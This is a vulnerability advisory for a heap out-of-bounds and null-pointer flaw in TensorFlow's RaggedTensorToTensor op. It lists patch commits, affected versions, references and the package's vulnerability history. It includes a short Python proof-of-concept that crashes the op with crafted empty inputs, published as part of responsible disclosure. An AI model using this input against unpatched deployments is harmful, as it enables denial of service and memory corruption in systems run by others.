Heap OOB and null pointer dereference in `RaggedTensorToTensor`
Impact
Due to lack of validation in tf.raw_ops.RaggedTensorToTensor, an attacker can exploit an undefined behavior if input arguments are empty:
import tensorflow as tf
shape = tf.constant([-1, -1], shape=[2], dtype=tf.int64)
values = tf.constant([], shape=[0], dtype=tf.int64)
default_value = tf.constant(404, dtype=tf.int64)
row = tf.constant([269, 404, 0, 0, 0, 0, 0], shape=[7], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']
tf.raw_ops.RaggedTensorToTensor(
shape=shape, values=values, default_value=default_value,
row_partition_tensors=rows, row_partition_types=types)
The implementation only checks that one of the tensors is not empty, but does not check for the other ones.
There are multiple DCHECK validations to prevent heap OOB, but these are no-op in release builds, hence they don't prevent anything.
Patches
We have patched the issue in GitHub commit b761c9b652af2107cfbc33efd19be0ce41daa33e followed by GitHub commit f94ef358bb3e91d517446454edff6535bcfe8e4a and GitHub commit c4d7afb6a5986b04505aca4466ae1951686c80f6.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
References
- https://github.com/tensorflow/tensorflow/commit/c4d7afb6a5986b04505aca4466ae1951686c80f6
- https://github.com/tensorflow/tensorflow/commit/f94ef358bb3e91d517446454edff6535bcfe8e4a
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rgvq-pcvf-hx75
- https://github.com/tensorflow/tensorflow/commit/b761c9b652af2107cfbc33efd19be0ce41daa33e
- https://nvd.nist.gov/vuln/detail/CVE-2021-29608
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-536.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-734.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-245.yaml
- https://github.com/tensorflow/tensorflow
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H- Weakness (CWE)
CWE-131- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 14.05.2021
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-245 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-536 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-734 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-rgvq-pcvf-hx75 - CC BY 4.0
Vulnerability history: tensorflow-gpu
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 427
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 109
- Medium 207
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
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Heap OOB and null pointer dereference in `RaggedTensorToTensor` this entry
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